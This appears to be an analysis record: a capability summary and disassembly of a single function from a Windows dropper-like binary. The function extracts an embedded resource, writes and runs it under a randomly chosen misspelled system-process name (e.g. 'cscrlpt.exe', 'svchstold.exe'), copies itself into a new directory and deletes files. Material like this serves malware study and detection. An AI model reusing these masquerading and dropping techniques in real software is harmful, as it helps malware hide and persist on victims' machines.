Function at 0x140006b10
Capabilities:
Copy file
Create directory
Delete file
Extract resource via kernel32 functions
Get common file path
Write file on windows

Disassembly:
push rbx
push rdi
mov eax, 0x1378
call fcn.140018050
sub rsp, rax
mov rax, qword [0x140020090]
xor rax, rsp
mov qword [rsp + 0x1350], rax
lea rcx, [0x14001bc68]
mov edx, 0x3ff
mov rbx, r8
call fcn.14000ab18
mov edi, 9
nop dword [rax + rax]
lea rcx, [0x14001bc68]
mov edx, 0x3ff
call fcn.14000ab18
sub rdi, 1
jne 0x140006b50
call fcn.140006740
test eax, eax
je 0x140006b78
lea eax, [rdi + 1]
jmp 0x1400075e0
xor ecx, ecx
mov qword [rsp + 0x1370], r12
call fcn.14000b0b8
mov rcx, rax
call fcn.14000ad30
lea rcx, [rsp + 0x641]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x640], 0
call fcn.14000fcd0
call fcn.140006120
lea rcx, str.explorer.exe
call fcn.140003a50
xor r12d, r12d
xor edx, edx
mov r8d, eax
mov ecx, 0x1fffff
mov qword [rsp + 0x48], r12
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x140006ced
lea r8, [rsp + 0x48]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140006c1f
mov r8, qword [rsp + 0x48]
lea rax, [rsp + 0x640]
lea edx, [r12 + 0x1c]
xor r9d, r9d
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x140006ced
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x640]
repne scasb al, byte [rdi]
mov rax, qword [str._sccon.ini]
mov rcx, r12
mov qword [rdi - 1], rax
movzx eax, word [0x14001bca0]
mov word [rdi + 7], ax
movzx eax, byte [0x14001bca2]
mov byte [rdi + 9], al
lea rdi, [0x140022b00]
nop word [rax + rax]
movzx eax, byte [rsp + rcx + 0x640]
inc rcx
mov byte [rcx + rdi - 1], al
test al, al
jne 0x140006c70
mov qword [rsp + 0x30], r12
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rdi
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x40]
mov rcx, rbx
mov dword [rsp + 0x40], r12d
call fcn.140003880
mov rdi, rax
test rax, rax
je 0x140006ce4
mov ecx, dword [rsp + 0x40]
mov rdx, rax
call fcn.140001150
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GlobalFree]
cmp dword [0x1400226e8], r12d
jne 0x140006cf4
xor eax, eax
jmp 0x1400075d8
mov ecx, dword [0x1400226ec]
mov qword [rsp + 0x1398], rsi
mov qword [rsp + 0x1368], r13
mov qword [rsp + 0x1360], r14
test ecx, ecx
je 0x140006d22
imul ecx, ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r14d, 0x22
cmp dword [0x1400216a8], r12d
je 0x140006e3a
lea rcx, [rsp + 0x751]
xor edx, edx
mov r8d, 0x3ff
call fcn.14000fcd0
lea rcx, [rsp + 0x201]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x200], r12b
call fcn.14000fcd0
lea rdx, [rsp + 0x200]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x750]
mov word [rsp + 0x750], r14w
lea rdx, [rsp + 0x200]
repne scasb al, byte [rdi]
xor ecx, ecx
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x140006da0
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x750]
repne scasb al, byte [rdi]
movzx eax, word [0x14001bcb8]
or rcx, 0xffffffffffffffff
mov word [rdi - 1], ax
movzx eax, byte [0x14001bcba]
mov byte [rdi + 1], al
xor eax, eax
lea rdi, [rsp + 0x750]
repne scasb al, byte [rdi]
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [rbx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x140006df0
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x750]
repne scasb al, byte [rdi]
mov eax, dword [str.__nmon]
lea rcx, [rsp + 0x750]
mov dword [rdi - 1], eax
movzx eax, word [0x14001bcc0]
mov word [rdi + 3], ax
movzx eax, byte [0x14001bcc2]
mov byte [rdi + 5], al
call fcn.140007a00
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
call fcn.140006a80
lea rax, str.ctfnon.exe
lea rdx, str.cscrlpt.exe
mov qword [rsp + 0x58], rax
lea rax, str.certuti.exe
xor ecx, ecx
mov qword [rsp + 0x60], rax
lea rax, str.certeq.exe
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x68], rax
lea rax, str.audlodg.exe
mov qword [rsp + 0x70], rax
lea rax, str.winspol.exe
mov qword [rsp + 0x78], rax
lea rax, str.hhcctrl.exe
mov qword [rsp + 0x80], rax
lea rax, str.dmnview.exe
mov qword [rsp + 0x88], rax
lea rax, str.taskffchd.exe
mov qword [rsp + 0x90], rax
lea rax, str.SQLSorver.exe
mov qword [rsp + 0x98], rax
lea rax, str.bthftdtask.exe
mov qword [rsp + 0xa0], rax
lea rax, str.actmprxy.exe
mov qword [rsp + 0xa8], rax
lea rax, str.acpoage.exe
mov qword [rsp + 0xb0], rax
lea rax, str.apilmgen.exe
mov qword [rsp + 0xb8], rax
lea rax, str.mlgwiz.exe
mov qword [rsp + 0xc0], rax
call fcn.14000b0b8
mov rcx, rax
call fcn.14000ad30
call fcn.14000ad48
mov r8d, 0x103
mov edi, eax
mov eax, 0x88888889
mov byte [rsp + 0x530], r12b
imul edi
add edx, edi
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea rcx, [rsp + 0x531]
imul edx, edx, 0xf
sub edi, edx
xor edx, edx
call fcn.14000fcd0
lea rdx, [rsp + 0x530]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rcx, [rsp + 0x421]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x420], r12b
call fcn.14000fcd0
lea rcx, [rsp + 0x311]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x310], r12b
call fcn.14000fcd0
lea r8, [rsp + 0x420]
lea rdx, str.svchstold.exe
lea rcx, [rsp + 0x530]
mov r9d, 0x65
call fcn.140008c00
mov rdx, r12
movzx eax, byte [rsp + rdx + 0x530]
inc rdx
mov byte [rsp + rdx + 0x30f], al
test al, al
jne 0x140006fd3
movsxd rsi, edi
xor eax, eax
or rcx, 0xffffffffffffffff
mov rbx, qword [rsp + rsi*8 + 0x50]
lea rdi, [rsp + 0x310]
repne scasb al, byte [rdi]
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [rbx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x140007010
lea rcx, [rsp + 0x751]
xor edx, edx
mov r8d, 0x1ff
mov byte [rsp + 0x750], r12b
call fcn.14000fcd0
lea r13, [0x140000000]
cmp byte [0x1400226f0], r12b
je 0x140007069
mov rcx, r12
nop
movzx eax, byte [rcx + r13 + 0x226f0]
inc rcx
mov byte [rsp + rcx + 0x74f], al
test al, al
jne 0x140007050
jmp 0x14000708e
lea rcx, [rsp + 0x750]
sub rcx, rbx
nop word [rax + rax]
movzx eax, byte [rbx]
inc rbx
mov byte [rcx + rbx - 1], al
test al, al
jne 0x140007080
cmp dword [0x1400226e4], r12d
jne 0x1400070e6
call fcn.1400064c0
test eax, eax
jne 0x1400070e6
lea rdx, [rsp + 0x310]
lea rcx, [rsp + 0x420]
call fcn.140008e90
test eax, eax
je 0x1400070cc
lea rcx, [rsp + 0x420]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x1400073c6
lea rdx, [rsp + 0x310]
lea rcx, [rsp + 0x420]
call fcn.14000aae8
jmp 0x1400073c6
xor eax, eax
lea rcx, [rsp + 0xd0]
mov byte [rsp + 0xd0], r12b
mov qword [rsp + 0xd1], rax
mov qword [rsp + 0xd9], rax
mov qword [rsp + 0xe1], rax
mov dword [rsp + 0xe9], eax
mov word [rsp + 0xed], ax
mov byte [rsp + 0xef], al
call fcn.140006380
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x420]
xor r8d, r8d
call fcn.140009590
lea rdx, [rsp + 0x310]
lea rcx, [rsp + 0x420]
call fcn.14000aae8
xor eax, eax
lea rcx, [rsp + 0xd0]
mov byte [rsp + 0xd0], r12b
mov qword [rsp + 0xd1], rax
mov qword [rsp + 0xd9], rax
mov qword [rsp + 0xe1], rax
mov dword [rsp + 0xe9], eax
mov word [rsp + 0xed], ax
mov byte [rsp + 0xef], al
call fcn.140006380
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0xd0]
xor edx, edx
repne scasb al, byte [rdi]
mov eax, dword [str..tmp]
lea rcx, [rsp + 0x201]
mov dword [rdi - 1], eax
movzx eax, byte [0x14001bdcc]
mov r8d, 0x103
mov byte [rdi + 3], al
mov byte [rsp + 0x200], r12b
call fcn.14000fcd0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea r8, [0x14001be38]
mov edx, 0x66
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rbx, rax
test rax, rax
je 0x1400072c8
mov rdx, rax
mov rcx, rdi
mov qword [rsp + 0x1390], rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, rbx
mov rcx, rdi
mov esi, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, r12
mov rbp, rax
nop dword [rax]
movzx ecx, byte [rsp + rdx + 0x530]
inc rdx
mov byte [rsp + rdx + 0x1ff], cl
test cl, cl
jne 0x140007240
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x200]
repne scasb al, byte [rdi]
xor ecx, ecx
lea rdx, [rsp + 0xd0]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x140007270
lea rdx, [0x14001be3c]
lea rcx, [rsp + 0x200]
call fcn.14000ad24
mov rdi, rax
test rax, rax
je 0x1400072b7
mov rdx, rsi
mov r9, rax
mov r8d, 1
mov rcx, rbp
call fcn.14000af10
mov rcx, rdi
call fcn.14000b040
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rbp, qword [rsp + 0x1390]
lea rcx, [rsp + 0xb51]
xor edx, edx
mov r8d, 0x3ff
call fcn.14000fcd0
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0xb50]
mov word [rsp + 0xb50], r14w
lea rdx, [rsp + 0x200]
repne scasb al, byte [rdi]
xor ecx, ecx
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x140007300
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0xb50]
repne scasb al, byte [rdi]
mov eax, dword [str.___2__]
or rcx, 0xffffffffffffffff
mov dword [rdi - 1], eax
movzx eax, word [0x14001bdd4]
lea rdx, [rsp + 0x310]
mov word [rdi + 3], ax
movzx eax, byte [0x14001bdd6]
mov byte [rdi + 5], al
xor eax, eax
lea rdi, [rsp + 0xb50]
repne scasb al, byte [rdi]
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x140007360
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0xb50]
repne scasb al, byte [rdi]
movzx eax, word [0x14001bcb4]
lea r8, [rsp + 0xb50]
lea rcx, [rsp + 0x40]
xor edx, edx
mov qword [rsp + 0x40], r12
mov word [rdi - 1], ax
call fcn.140003af0
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x1400073b8
mov edx, 0x9c40
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rcx, [rsp + 0x200]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, [rsp + 0xf1]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0xf0], r12b
call fcn.14000fcd0
xor eax, eax
lea rcx, [rsp + 0xd0]
mov byte [rsp + 0xd0], r12b
mov qword [rsp + 0xd1], rax
mov qword [rsp + 0xd9], rax
mov qword [rsp + 0xe1], rax
mov dword [rsp + 0xe9], eax
mov word [rsp + 0xed], ax
mov byte [rsp + 0xef], al
call fcn.140006380
mov rax, qword [r13 + 0x1bdd8]
mov rsi, qword [rsp + 0x1398]
lea rdx, [rsp + 0xf0]
mov qword [rdx], rax
mov eax, dword [r13 + 0x1bde0]
mov r13, qword [rsp + 0x1368]
mov dword [rdx + 8], eax
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0xf0]
lea rdx, [rsp + 0xd0]
repne scasb al, byte [rdi]
xor ecx, ecx
nop
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x140007470
lea rcx, [rsp + 0xf0]
call qword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
test eax, eax
jne 0x1400074a1
lea rcx, [rsp + 0xf0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0xf0]
repne scasb al, byte [rdi]
movzx eax, word [0x14001bba8]
or rcx, 0xffffffffffffffff
mov word [rdi - 1], ax
xor eax, eax
lea rdi, [rsp + 0xf0]
repne scasb al, byte [rdi]
xor ecx, ecx
lea rdx, [rsp + 0x750]
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x1400074e0
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x310]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileA]
cmp dword [0x1400226e0], r12d
je 0x140007590
lea rcx, [rsp + 0xb51]
xor edx, edx
mov r8d, 0x7ff
call fcn.14000fcd0
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0xb50]
mov word [rsp + 0xb50], r14w
repne scasb al, byte [rdi]
lea rcx, [rsp + 0xf0]
xor edx, edx
nop dword [rax]
movzx eax, byte [rcx + rdx]
inc rdx
mov byte [rdi + rdx - 2], al
test al, al
jne 0x140007550
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0xb50]
repne scasb al, byte [rdi]
mov rax, qword [str.___inexp]
lea r8, [rsp + 0xb50]
mov qword [rdi - 1], rax
movzx eax, byte [0x14001bdf0]
xor edx, edx
mov byte [rdi + 7], al
jmp 0x14000759b
xor r8d, r8d
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x40], r12
call fcn.140003af0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x310]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, [0x140022c10]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov r14, qword [rsp + 0x1360]
mov r12, qword [rsp + 0x1370]
mov rcx, qword [rsp + 0x1350]
xor rcx, rsp
call fcn.140009e70
add rsp, 0x1378
pop rdi
pop rbx
ret